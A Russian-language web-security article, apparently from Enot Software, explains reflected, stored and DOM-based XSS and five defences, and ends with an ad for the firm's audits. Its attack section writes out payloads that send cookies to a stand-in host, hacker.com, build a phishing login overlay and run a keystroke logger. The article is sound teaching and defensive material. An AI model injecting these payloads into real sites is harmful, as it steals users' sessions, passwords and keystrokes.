XSS-атаки: что это такое и как защитить свой сайт.

Простое объяснение XSS-уязвимостей с реальными примерами. Три вида атак, что может украсть хакер, и 5 методов защиты - даже если вы не программист.

Что такое XSS и почему это опасно

XSS расшифровывается как Cross-Site Scripting (межсайтовый скриптинг). Название звучит страшно, но суть простая: это когда хакер подсовывает свой вредоносный код на ваш сайт, и этот код выполняется в браузерах ваших пользователей.

Представьте: у вас на сайте есть поле для комментариев. Обычный пользователь напишет "Отличный товар!". А хакер напишет специальный код, который ворует пароли других пользователей, которые читают этот комментарий. И ваш сайт честно показывает этот "комментарий" всем посетителям.

Звучит как фильм про хакеров? К сожалению, это реальность. XSS - вторая по распространённости уязвимость в мире (после SQL-инъекций). И защититься от неё проще, чем кажется.

Как это работает (на простом примере)

Допустим, у вас на сайте есть поиск. Пользователь вводит запрос, и сайт показывает: "Результаты поиска по запросу: кроссовки". Обычно это выглядит так:

// Пользователь ищет "кроссовки"
// Сайт показывает:
// "Результаты поиска по запросу: кроссовки"

// В HTML это выглядит так:
<p>Результаты поиска по запросу: кроссовки</p>

// Всё нормально, правда?

А теперь смотрите, что произойдёт, если вместо "кроссовки" ввести вот это:

// Хакер вводит в поиск:
<script>alert('Вас взломали!')</script>

// Сайт подставляет это в HTML:
<p>Результаты поиска по запросу: <script>alert('Вас взломали!')</script></p>

// Браузер видит тег <script> и ВЫПОЛНЯЕТ код!
// Появляется окошко "Вас взломали!"

// Конечно, показать окошко - это безобидно.
// Но вместо alert можно написать код, который:
// - ворует cookies (а значит, может украсть сессию)
// - перенаправляет на фишинговый сайт
// - показывает фейковую форму входа
// - отправляет данные на сервер хакера

Три вида XSS-атак

1. Отражённая XSS (Reflected)

Самый простой вид. Вредоносный код содержится прямо в ссылке. Хакер отправляет жертве специальную ссылку, жертва кликает - и код выполняется.

// Обычная ссылка:
// https://shop.ru/search?q=кроссовки

// Ссылка хакера:
// https://shop.ru/search?q=<script>document.location='https://hacker.com/steal?cookie='+document.cookie</script>

// Если сайт подставляет параметр q в HTML без проверки -
// браузер выполнит скрипт и отправит cookies на сервер хакера

// Хакер получает cookies жертвы и может войти под её аккаунтом

2. Хранимая XSS (Stored)

Самый опасный вид. Вредоносный код сохраняется на сервере (в базе данных) и показывается всем пользователям. Классический пример - комментарии, отзывы, форумы.

// Хакер оставляет "комментарий":
// "Отличный товар! <script>...вредоносный код...</script>"

// Этот комментарий сохраняется в базу данных
// И показывается КАЖДОМУ пользователю, который открывает страницу

// Каждый посетитель страницы становится жертвой
// Хакеру даже не нужно отправлять ссылки - атака работает автоматически

3. DOM-based XSS

Этот вид атаки происходит полностью в браузере. Серверный код может быть идеальным, но если JavaScript на клиенте неправильно обрабатывает данные - уязвимость есть.

// Уязвимый JavaScript на странице:
const name = new URLSearchParams(window.location.search).get("name")

// ОПАСНО! Подставляем значение из URL прямо в HTML
document.getElementById("greeting").innerHTML = "Привет, " + name

// Хакер создаёт ссылку:
// https://site.ru/page?name=<img src=x onerror="alert('XSS')">

// Когда жертва откроет эту ссылку,
// JavaScript подставит картинку с ошибкой,
// а обработчик onerror выполнит вредоносный код

Что реально может украсть хакер

Давайте перестанем показывать alert() и посмотрим, что хакер делает на самом деле:

// 1. КРАЖА СЕССИИ (самое частое)
// Хакер получает cookie с токеном сессии
// и может войти на сайт под вашим аккаунтом

// Вредоносный код:
new Image().src = "https://hacker.com/steal?cookie=" + document.cookie
// Отправляет ваши cookies на сервер хакера через "невидимую картинку"
// Вы ничего не заметите - ни окошек, ни перенаправлений

// 2. ФЕЙКОВАЯ ФОРМА ВХОДА
// Хакер рисует поверх сайта свою форму логина
// Пользователь думает, что это настоящая форма, и вводит пароль

document.body.innerHTML = `
  <div style="text-align:center;padding:100px">
    <h2>Сессия истекла. Войдите заново:</h2>
    <form action="https://hacker.com/phish">
      <input name="login" placeholder="Логин">
      <input name="pass" type="password" placeholder="Пароль">
      <button>Войти</button>
    </form>
  </div>
`

// 3. КЕЙЛОГГЕР
// Записывает всё, что пользователь печатает на странице

document.addEventListener("keypress", function(e) {
  new Image().src = "https://hacker.com/log?key=" + e.key
})
// Каждая нажатая клавиша отправляется хакеру
// Пароли, номера карт, личные сообщения - всё

Как защититься: 5 методов

Метод 1: Экранирование (самый важный!)

Главное правило: никогда не вставляйте пользовательские данные в HTML как есть. Всегда заменяйте специальные символы на безопасные:

// Функция экранирования HTML
// Заменяет опасные символы на безопасные HTML-сущности

function escapeHtml(text) {
  const map = {
    '&': '&amp;',    // амперсанд
    '<': '&lt;',  // открывающая скобка (начало тега)
    '>': '&gt;',  // закрывающая скобка (конец тега)
    '"': '&quot;',   // кавычки
    "'": '&#039;'    // одинарная кавычка
  }
  return text.replace(/[&<>"']/g, char => map[char])
}

// Теперь вместо:
// <p>Результаты: ${userInput}</p>  // ОПАСНО!

// Делаем:
// <p>Результаты: ${escapeHtml(userInput)}</p>  // БЕЗОПАСНО!

// Если хакер введёт <script>alert('XSS')</script>
// после экранирования это превратится в:
// &lt;script&gt;alert('XSS')&lt;/script&gt;
// Браузер покажет это как ТЕКСТ, а не выполнит как код

Метод 2: Content Security Policy (CSP)

CSP - это HTTP-заголовок, который говорит браузеру: "Выполняй скрипты только из этих источников". Даже если хакер внедрит код - браузер не выполнит его.

# Nginx: добавляем заголовок CSP

# Строгая политика: скрипты только с нашего домена
add_header Content-Security-Policy "
  default-src 'self';
  script-src 'self' https://cdn.jsdelivr.net;
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  font-src 'self';
  connect-src 'self' https://api.example.com;
" always;

# Что это значит:
# default-src 'self' - по умолчанию загружать только с нашего домена
# script-src 'self' - JavaScript только с нашего домена
# Если хакер внедрит <script src="https://hacker.com/evil.js">
# браузер НЕ загрузит этот скрипт (он не в списке разрешённых)

Метод 3: HttpOnly cookies

Если хакер не может получить cookies через JavaScript - кража сессии становится намного сложнее:

// Устанавливаем cookie с флагом HttpOnly

// ПЛОХО: обычная cookie (доступна из JavaScript)
res.cookie("session", token)
// document.cookie вернёт эту cookie - хакер может украсть

// ХОРОШО: HttpOnly cookie (НЕ доступна из JavaScript)
res.cookie("session", token, {
  httpOnly: true,   // JavaScript НЕ может прочитать эту cookie
  secure: true,     // Только через HTTPS
  sameSite: "Lax",  // Защита от CSRF-атак
  maxAge: 86400000  // Время жизни: 24 часа
})

// Теперь document.cookie НЕ покажет эту cookie
// Хакер не сможет её украсть через XSS

Метод 4: Используйте фреймворки правильно

Современные фреймворки (React, Vue, Angular) по умолчанию экранируют данные. Но есть исключения:

// React: БЕЗОПАСНО по умолчанию
// React автоматически экранирует всё, что вы вставляете в JSX

function Comment({ text }) {
  // БЕЗОПАСНО - React экранирует text автоматически
  return <p>{text}</p>
}
// Если text = "<script>alert('XSS')</script>"
// React покажет это как текст, а не выполнит

// React: ОПАСНО - dangerouslySetInnerHTML
function Comment({ html }) {
  // ОПАСНО! Это вставляет HTML без экранирования!
  // Используйте ТОЛЬКО для доверенного контента
  return <div dangerouslySetInnerHTML={{ __html: html }} />
}

// Если используете dangerouslySetInnerHTML -
// ОБЯЗАТЕЛЬНО очищайте HTML перед вставкой:
import DOMPurify from "dompurify"

function SafeComment({ html }) {
  // DOMPurify убирает все опасные теги и атрибуты
  const cleanHtml = DOMPurify.sanitize(html)
  return <div dangerouslySetInnerHTML={{ __html: cleanHtml }} />
}

Метод 5: Валидация и очистка на сервере

Никогда не доверяйте данным от пользователя. Всегда проверяйте и очищайте на сервере:

// Node.js + Express: очистка пользовательского ввода

import xss from "xss"  // npm install xss

// Middleware для очистки всех входящих данных
app.use((req, res, next) => {
  // Очищаем все строковые поля в body
  if (req.body) {
    for (const key in req.body) {
      if (typeof req.body[key] === "string") {
        req.body[key] = xss(req.body[key])
        // xss() удаляет все опасные теги и атрибуты
        // "<script>alert('XSS')</script>" превращается в ""
        // "<b>жирный</b>" остаётся как есть (безопасный тег)
      }
    }
  }
  next()
})

// Теперь все данные из форм автоматически очищены
// от вредоносного кода ещё до обработки

Чек-лист защиты от XSS

  1. Экранируйте все пользовательские данные при выводе в HTML
  2. Настройте Content Security Policy (CSP)
  3. Используйте HttpOnly для cookies с сессией
  4. Не используйте innerHTML/dangerouslySetInnerHTML с непроверенными данными
  5. Валидируйте и очищайте данные на сервере
  6. Используйте библиотеку DOMPurify для очистки HTML
  7. Регулярно обновляйте зависимости (уязвимости находят постоянно)

Как проверить свой сайт на XSS

Простой тест, который можно сделать прямо сейчас:

  1. Найдите все поля ввода на вашем сайте (поиск, комментарии, формы)
  2. Введите в каждое: <script>alert(1)</script>
  3. Если появилось окошко с "1" - у вас проблема
  4. Также попробуйте: <img src=x onerror=alert(1)>
  5. И это: "onmouseover="alert(1)

Это самый базовый тест. Для полноценной проверки нужен аудит безопасности.

Мы в ENOT.SOFTWARE проводим аудит безопасности веб-приложений. Проверяем на XSS, SQL-инъекции, CSRF и другие уязвимости из OWASP Top 10. Напишите нам - лучше найти уязвимость до того, как её найдут хакеры.

Итого

XSS - это серьёзная уязвимость, но защититься от неё не так уж сложно. Главное правило одно: никогда не доверяйте данным от пользователя. Всё, что приходит от пользователя - экранируйте, очищайте, валидируйте. Добавьте CSP-заголовки и HttpOnly cookies - и 95% атак будут нейтрализованы.

Безопасность - это не "настроил и забыл". Это постоянный процесс. Но базовые меры, описанные в этой статье, защитят вас от подавляющего большинства XSS-атак.

Все статьи
XSS-атаки: что это такое и как защитить свой сайт | Enot Software